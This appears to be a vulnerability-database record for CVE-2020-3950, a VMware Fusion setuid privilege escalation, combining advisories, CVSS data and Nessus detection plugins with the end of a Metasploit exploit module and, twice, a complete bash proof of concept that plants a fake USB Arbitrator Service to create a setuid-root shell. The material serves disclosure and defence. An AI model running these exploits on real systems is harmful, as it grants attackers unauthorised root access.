\"cd #{link_folder}; '#{link_folder}/#{open_usb_service}' & :\" \nRex.sleep 5 # give time for the service to execute our payload \nprint_status 'Killing service' \ncmd_exec \"pkill '#{open_usb_service}'\" \nprint_status \"Deleting #{root_link_folder}\" \nrm_rf root_link_folder \nend \n \ndef exactly_11_5_3 \n# Upload payload executable & chmod \npayload_name = \"#{base_dir}#{rand_text_alphanumeric(5..10)}\" \nprint_status \"Uploading Payload to #{payload_name}\" \nwrite_file payload_name, generate_payload_exe \nchmod payload_name, 0o755 \n#create race with codesign check \nroot_link_folder = \"#{get_home_dir}/#{rand_text_alphanumeric(2..5)}\" # for cleanup later \nlink_folder = \"#{root_link_folder}/#{rand_text_alphanumeric(2..5)}/#{rand_text_alphanumeric(2..5)}/\" \nprint_status 'Uploading race condition executable.' \nrace = <<~EOF \n#!/bin/sh \nwhile [ \"1\" = \"1\" ]; do \nln -f '/Applications/VMware Fusion.app/Contents/Library/services/#{usb_service}' '#{base_dir}#{usb_service}' \nln -f '#{payload_name}' '#{base_dir}#{usb_service}' \ndone \nEOF \nracer_name = \"#{base_dir}#{rand_text_alphanumeric(5..10)}\" \nupload_and_chmodx racer_name, race \nregister_file_for_cleanup racer_name \nregister_dirs_for_cleanup root_link_folder \n# create the hard link \nprint_status \"Creating folder (#{link_folder}) and link\" \ncmd_exec \"mkdir -p #{link_folder}\" \ncmd_exec \"ln '/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}' '#{link_folder}#{open_usb_service}'\" \n \n# create the launcher to start the racer and keep launching our service to attempt to win \nlauncher = <<~EOF \n#!/bin/sh \n#{racer_name} & \nfor i in {1..#{datastore['MAXATTEMPTS']}} \ndo \necho \"attempt $i\"; \n'#{link_folder}#{open_usb_service}' \ndone \nEOF \nrunner_name = \"#{base_dir}#{rand_text_alphanumeric(5..10)}\" \nupload_and_chmodx runner_name, launcher \nregister_file_for_cleanup runner_name \n \nprint_status \"Launching Exploit #{runner_name} (sleeping 15sec)\" \n# XXX: The ; used by cmd_exec will interfere with &, so pad it with : \nresults = cmd_exec \"#{runner_name} & :\" \nRex.sleep 15 # give time for the service to execute our payload \nvprint_status results \n \nprint_status 'Exploit Finished, killing scripts.' \nkill_process racer_name \nkill_process runner_name # in theory should be killed already but just in case \nkill_process \"'#{link_folder}#{open_usb_service}'\" \n# kill_process 'ln' a rogue ln -f may mess us up, but killing them seemed to be unreliable and mark the exploit as failed. \n# above caused: [-] Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Unknown error \n# rm_rf base_dir # this always fails. Leaving it here as a note that when things dont kill well, can't delete the folder \nend \n \ndef check \nunless exists? \"/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}\" \nprint_bad \"'#{open_usb_service}' binary missing\" \nreturn CheckCode::Safe \nend \nversion = get_version \nif version.between?(Gem::Version.new('10.1.3'), Gem::Version.new('11.5.3')) \nvprint_good \"Vmware Fusion #{version} is exploitable\" \nelse \nprint_bad \"VMware Fusion #{version} is NOT exploitable\" \nreturn CheckCode::Safe \nend \nCheckCode::Appears \nend \n \ndef exploit \n# First check the system is vulnerable, or the user wants to run regardless \nunless check == CheckCode::Appears \nunless datastore['ForceExploit'] \nfail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' \nend \nprint_warning 'Target does not appear to be vulnerable' \nend \n \n# Check if we're already root \nif is_root? \nunless datastore['ForceExploit'] \nfail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override' \nend \nend \n \n# Make sure we can write our payload to the remote system \nrm_rf content_dir # live dangerously. \nif directory? content_dir \nfail_with Filure::BadConfig, \"#{content_dir} exists. Unable to delete automatically. Please delete or exploit will fail.\" \nend \ncmd_exec \"mkdir -p #{base_dir}\" \nregister_dirs_for_cleanup content_dir \nunless writable? base_dir \nfail_with Failure::BadConfig, \"#{base_dir} is not writable.\" \nend \n \nversion = get_version \nif version == Gem::Version.new('11.5.3') \nvprint_status 'Using 11.5.3 exploit' \nexactly_11_5_3 \nelsif version.between?(Gem::Version.new('10.1.3'), Gem::Version.new('11.5.2')) \nvprint_status 'Using pre-11.5.3 exploit' \npre_11_5_3 \nend \nrm_rf content_dir # live dangerously. \nend \nend \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/157079/vmware_fusion_lpe.rb.txt", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "attackerkb": [{"lastseen": "2022-05-12T05:37:42", "description": "VMware Fusion (11.x before 11.5.2), VMware Remote Console for Mac (11.x and prior before 11.0.1) and Horizon Client for Mac (5.x and prior before 5.4.0) contain a privilege escalation vulnerability due to improper use of setuid binaries. Successful exploitation of this issue may allow attackers with normal user privileges to escalate their privileges to root on the system where Fusion, VMRC or Horizon Client is installed.\n\n \n**Recent assessments:** \n \n**h00die** at March 24, 2020 11:17pm UTC reported:\n\nThis vulnerability is trivial to exploit. \nThe \u201cOpen VMware USB Arbitrator Service\u201d binary can be run (through a hard link) from any location, including attacker controlled. Next, when the Service binary is run, which any user can do, it automatically runs `../../../Contents/Library/services/VMware USB Arbitrator Service`. By ensuring the hard link is 3 levels deep from `VMware USB Arbitrator Service`, we\u2019re able to get code execution. When our payload (`VMware USB Arbitrator Service`) is run, it\u2019s done so with an EUID of 0, thus priv escalating. This is trivial to exploit since we\u2019re not overwriting any files, or calling anything abnormal, and easy to clean-up. There is NO chance of crashing the system either.\n\nAssessed Attacker Value: 4 \nAssessed Attacker Value: 4Assessed Attacker Value: 5\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-03-17T00:00:00", "type": "attackerkb", "title": "CVE-2020-3950", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-3950"], "modified": "2020-07-30T00:00:00", "id": "AKB:2D41D02A-A32C-4A7E-9C1B-6B01311003D5", "href": "https://attackerkb.com/topics/7u1kgutiu1/cve-2020-3950", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "cve": [{"lastseen": "2022-03-23T18:19:13", "description": "VMware Fusion (11.x before 11.5.2), VMware Remote Console for Mac (11.x and prior before 11.0.1) and Horizon Client for Mac (5.x and prior before 5.4.0) contain a privilege escalation vulnerability due to improper use of setuid binaries. Successful exploitation of this issue may allow attackers with normal user privileges to escalate their privileges to root on the system where Fusion, VMRC or Horizon Client is installed.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-03-17T19:15:00", "type": "cve", "title": "CVE-2020-3950", "cwe": ["CWE-59"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-3950"], "modified": "2021-09-16T13:18:00", "cpe": [], "id": "CVE-2020-3950", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-3950", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cpe23": []}], "exploitpack": [{"lastseen": "2020-04-01T20:40:47", "description": "\nVMware Fusion 11.5.2 - Privilege Escalation", "edition": 2, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-03-20T00:00:00", "title": "VMware Fusion 11.5.2 - Privilege Escalation", "type": "exploitpack", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-3950"], "modified": "2020-03-20T00:00:00", "id": "EXPLOITPACK:C6273B137068170B74C1A2FAD3134060", "href": "", "sourceData": "# Exploit Title: VMware Fusion 11.5.2 - Privilege Escalation\n# Date: 2020-03-17\n# Exploit Author: Rich Mirch\n# Vendor Homepage: https://www.vmware.com/products/fusion.html\n# Vendor Advisory: https://www.vmware.com/security/advisories/VMSA-2020-0005.html\n# Software Link: https://download3.vmware.com/software/fusion/file/VMware-Fusion-11.5.1-15018442.dmg\n# Versions:\n# VMware Fusion Professional 11.5.1 (15018442)\n# VMware Fusion Professional 11.5.2 (15794494)\n#\n# Tested on: macOS 10.14.6\n# CVE : CVE-2020-3950\n# Source PoC: https://raw.githubusercontent.com/mirchr/security-research/master/vulnerabilities/CVE-2020-3950.sh\n#\n#\n#!/bin/bash\necho \"CVE-2020-3950 VMware Fusion EoP PoC by @0xm1rch\"\n\nmkdir -p ~/a/b/c\nmkdir -p ~/Contents/Library/services\n\ncat > ~/Contents/Library/services/VMware\\ USB\\ Arbitrator\\ Service <<EOF\n#!/usr/bin/python\nimport os\nos.setuid(0)\nos.system(\"cp /bin/bash $HOME/.woot;chmod 4755 $HOME/.woot\");\nEOF\n\nchmod 755 ~/Contents/Library/services/VMware\\ USB\\ Arbitrator\\ Service\n\ncd ~/a/b/c\nln \"/Applications/VMware Fusion.app/Contents/Library/services/Open VMware USB Arbitrator Service\" . 2>/dev/null\n\"${PWD}/Open VMware USB Arbitrator Service\" >/dev/null 2>/dev/null &\np=$!\necho \"Sleeping for 5 seconds\"\nsleep 5\nkill ${p?}\nwait\n\necho \"Sleeping for 7 seconds\"\nsleep 7\n\n$HOME/.woot -p", "cvss": {"score": 0.0, "vector": "NONE"}}], "exploitdb": [{"lastseen": "2022-05-13T17:49:32", "description": "", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-03-20T00:00:00", "type": "exploitdb", "title": "VMware Fusion 11.5.2 - Privilege Escalation", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["2020-3950", "CVE-2020-3950"], "modified": "2020-03-20T00:00:00", "id": "EDB-ID:48235", "href": "https://www.exploit-db.com/exploits/48235", "sourceData": "# Exploit Title: VMware Fusion 11.5.2 - Privilege Escalation\r\n# Date: 2020-03-17\r\n# Exploit Author: Rich Mirch\r\n# Vendor Homepage: https://www.vmware.com/products/fusion.html\r\n# Vendor Advisory: https://www.vmware.com/security/advisories/VMSA-2020-0005.html\r\n# Software Link: https://download3.vmware.com/software/fusion/file/VMware-Fusion-11.5.1-15018442.dmg\r\n# Versions:\r\n# VMware Fusion Professional 11.5.1 (15018442)\r\n# VMware Fusion Professional 11.5.2 (15794494)\r\n#\r\n# Tested on: macOS 10.14.6\r\n# CVE : CVE-2020-3950\r\n# Source PoC: https://raw.githubusercontent.com/mirchr/security-research/master/vulnerabilities/CVE-2020-3950.sh\r\n#\r\n#\r\n#!/bin/bash\r\necho \"CVE-2020-3950 VMware Fusion EoP PoC by @0xm1rch\"\r\n\r\nmkdir -p ~/a/b/c\r\nmkdir -p ~/Contents/Library/services\r\n\r\ncat > ~/Contents/Library/services/VMware\\ USB\\ Arbitrator\\ Service <<EOF\r\n#!/usr/bin/python\r\nimport os\r\nos.setuid(0)\r\nos.system(\"cp /bin/bash $HOME/.woot;chmod 4755 $HOME/.woot\");\r\nEOF\r\n\r\nchmod 755 ~/Contents/Library/services/VMware\\ USB\\ Arbitrator\\ Service\r\n\r\ncd ~/a/b/c\r\nln \"/Applications/VMware Fusion.app/Contents/Library/services/Open VMware USB Arbitrator Service\" . 2>/dev/null\r\n\"${PWD}/Open VMware USB Arbitrator Service\" >/dev/null 2>/dev/null &\r\np=$!\r\necho \"Sleeping for 5 seconds\"\r\nsleep 5\r\nkill ${p?}\r\nwait\r\n\r\necho \"Sleeping for 7 seconds\"\r\nsleep 7\r\n\r\n$HOME/.woot -p", "sourceHref": "https://www.exploit-db.com/download/48235", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "vmware": [{"lastseen": "2020-03-26T14:54:30", "description": "##### 1\\. Impacted Products\n\n * VMware Workstation Pro / Player (Workstation)\n * VMware Fusion Pro / Fusion (Fusion)\n * VMware Remote Console for Mac (VMRC for Mac)\n * VMware Horizon Client for Mac\n * VMware Horizon Client for Windows\n\n##### 2\\. Introduction\n\n###### VMware Workstation, Fusion, VMware Remote Console and Horizon Client updates address privilege escalation and denial-of-service vulnerabilities. Patches are available to remediate these vulnerabilities in affected VMware products. \n\n\n###### \n\n##### 3a. Privilege escalation vulnerability via setuid binaries (CVE-2020-3950 ) \n\n\n**Description: \n**\n\nVMware Fusion, VMRC for Mac and Horizon Client for Mac contain a privilege escalation vulnerability due to improper use of setuid binaries. VMware has evaluated the severity of this issue to be in the [Important severity range](<https://www.vmware.com/support/policies/security_response.html>) with a maximum CVSSv3 base score of [7.3](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L>). \n\n\n**Known Attack Vectors:**\n\nSuccessful exploitation of this issue may allow attackers with normal user privileges to escalate their privileges to root on the system where Fusion, VMRC or Horizon Client is installed.\n\n**Resolution: \n**To remediate CVE-2020-3950, apply the patches listed in the 'Fixed Version' column of the 'Resolution Matrix' found below.\n\n**Workarounds:**\n\nNone.\n\n**Additional Documentations:**\n\nNone.\n\n**Acknowledgements:**\n\nVMware would like to thank Jeffball of GRIMM and Rich Mirch for independently reporting this issue to us. \n\n\n**Resolution Matrix:**\n", "cvss3": {}, "published": "2020-03-17T00:00:00", "type": "vmware", "title": "VMware Workstation, Fusion, VMware Remote Console and Horizon Client updates address privilege escalation and denial-of-service vulnerabilities (CVE-2020-3950, CVE-2020-3951)", "bulletinFamily": "unix", "cvss2": {}, "cvelist": ["CVE-2020-3950", "CVE-2020-3951"], "modified": "2020-03-24T00:00:00", "id": "VMSA-2020-0005", "href": "https://www.vmware.com/security/advisories/VMSA-2020-0005.html", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-09-02T23:03:57", "description": "##### **1\\. Impacted Products**\n\n * VMware Workstation Pro / Player (Workstation)\n * VMware Fusion Pro / Fusion (Fusion)\n * VMware Remote Console for Mac (VMRC for Mac)\n * VMware Horizon Client for Mac\n * VMware Horizon Client for Windows\n\n##### **2\\. Introduction**\n\nVMware Workstation, Fusion, VMware Remote Console and Horizon Client updates address privilege escalation and denial-of-service vulnerabilities. Patches are available to remediate these vulnerabilities in affected VMware products.\n\n##### **3a. Privilege escalation vulnerability via setuid binaries (CVE-2020-3950 )**\n\n**Description**\n\nVMware Fusion, VMRC for Mac and Horizon Client for Mac contain a privilege escalation vulnerability due to improper use of setuid binaries. VMware has evaluated the severity of this issue to be in the [Important severity range](<https://www.vmware.com/support/policies/security_response.html>) with a maximum CVSSv3 base score of [7.3](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L>).\n\n**Known Attack Vectors**\n\nSuccessful exploitation of this issue may allow attackers with normal user privileges to escalate their privileges to root on the system where Fusion, VMRC or Horizon Client is installed.\n\n**Resolution**\n\nTo remediate CVE-2020-3950, apply the patches listed in the 'Fixed Version' column of the 'Resolution Matrix' found below.\n\n**Workarounds**\n\nNone.\n\n**Additional Documentation**\n\nNone.\n\n**Notes**\n\nNone.\n\n**Acknowledgements**\n\nVMware would like to thank Jeffball of GRIMM and Rich Mirch for independently reporting this issue to us.\n\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-03-17T00:00:00", "type": "vmware", "title": "VMware Workstation, Fusion, VMware Remote Console and Horizon Client updates address privilege escalation and denial-of-service vulnerabilities (CVE-2020-3950, CVE-2020-3951)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-3950", "CVE-2020-3951"], "modified": "2020-03-24T00:00:00", "id": "VMSA-2020-0005.2", "href": "https://www.vmware.com/security/advisories/VMSA-2020-0005.2.html", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "nessus": [{"lastseen": "2022-03-24T21:23:11", "description": "The version of VMware Fusion installed on the remote macOS or Mac OS X host is 11.0.x prior to 11.5.2. It is, therefore, affected by multiple vulnerabilities. Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.", "cvss3": {"score": 7.8, "vector": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}, "published": "2020-03-27T00:00:00", "type": "nessus", "title": "VMware Fusion 11.0.x < 11.5.2 Multiple Vulnerabilities (VMSA-2020-0005)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2020-3950", "CVE-2020-3951"], "modified": "2022-01-24T00:00:00", "cpe": ["cpe:/a:vmware:fusion"], "id": "MACOSX_FUSION_VMSA_2020_0005.NASL", "href": "https://www.tenable.com/plugins/nessus/134974", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(134974);\n script_version(\"1.6\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/01/24\");\n\n script_cve_id(\"CVE-2020-3950\", \"CVE-2020-3951\");\n script_xref(name:\"VMSA\", value:\"2020-0005\");\n script_xref(name:\"IAVA\", value:\"2020-A-0119\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2022/05/03\");\n\n script_name(english:\"VMware Fusion 11.0.x < 11.5.2 Multiple Vulnerabilities (VMSA-2020-0005)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"A virtualization application installed on the remote macOS or Mac OS X host is affected by multiple vulnerabilities\");\n script_set_attribute(attribute:\"description\", value:\n\"The version of VMware Fusion installed on the remote macOS or Mac OS X host is 11.0.x prior to 11.5.2. It is, therefore,\naffected by multiple vulnerabilities. Note that Nessus has not tested for these issues but has instead relied only on\nthe application's self-reported version number.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.vmware.com/security/advisories/VMSA-2020-0005.html\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update to VMware Fusion version 11.5.2, or later.\");\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-3950\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'VMware Fusion USB Arbitrator Setuid Privilege Escalation');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/03/17\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/03/17\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/03/27\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:vmware:fusion\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"MacOS X Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2020-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"macosx_fusion_detect.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"installed_sw/VMware Fusion\");\n\n exit(0);\n}\n\ninclude('vcf.inc');\n\n\napp_info = vcf::get_app_info(app:'VMware Fusion');\n\nconstraints = [\n { 'min_version' : '11.0', 'fixed_version' : '11.5.2' }\n];\n\nvcf::check_version_and_report(app_info:app_info, constraints:constraints, severity:SECURITY_HOLE);\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-24T21:21:49", "description": "The version of VMware Workstation installed on the remote Windows host is 15.0.x prior to 15.5.2. It is, therefore, affected by multiple vulnerabilities. Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.", "cvss3": {"score": 7.8, "vector": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}, "published": "2020-03-27T00:00:00", "type": "nessus", "title": "VMware Workstation 15.0.x < 15.5.2 Multiple Vulnerabilities (VMSA-2020-0005)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2020-3950", "CVE-2020-3951"], "modified": "2022-01-24T00:00:00", "cpe": ["cpe:/a:vmware:workstation"], "id": "VMWARE_WORKSTATION_VMSA_2020_0005.NASL", "href": "https://www.tenable.com/plugins/nessus/134973", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(134973);\n script_version(\"1.7\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/01/24\");\n\n script_cve_id(\"CVE-2020-3950\", \"CVE-2020-3951\");\n script_xref(name:\"VMSA\", value:\"2020-0005\");\n script_xref(name:\"IAVA\", value:\"2020-A-0119\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2022/05/03\");\n\n script_name(english:\"VMware Workstation 15.0.x < 15.5.2 Multiple Vulnerabilities (VMSA-2020-0005)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"A virtualization application installed on the remote Windows host is affected by multiple vulnerabilities\");\n script_set_attribute(attribute:\"description\", value:\n\"The version of VMware Workstation installed on the remote Windows host is 15.0.x prior to 15.5.2. It is, therefore,\naffected by multiple vulnerabilities. Note that Nessus has not tested for these issues but has instead relied only on\nthe application's self-reported version number.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.vmware.com/security/advisories/VMSA-2020-0005.html\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update to VMware Workstation version 15.5.2, or later.\");\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-3950\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'VMware Fusion USB Arbitrator Setuid Privilege Escalation');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/03/17\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/03/17\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/03/27\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:vmware:workstation\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows\");\n\n script_copyright(english:\"This script is Copyright (C) 2020-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"vmware_workstation_detect.nasl\");\n script_require_keys(\"SMB/Registry/Enumerated\", \"installed_sw/VMware Workstation\");\n\n exit(0);\n}\n\ninclude('vcf.inc');\n\nget_kb_item_or_exit('SMB/Registry/Enumerated');\n\napp_info = vcf::get_app_info(app:'VMware Workstation', win_local:TRUE);\n\nconstraints = [\n { 'min_version' : '15.0', 'fixed_version' : '15.5.2' }\n];\n\nvcf::check_version_and_report(app_info:app_info, constraints:constraints, severity:SECURITY_HOLE);\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}]}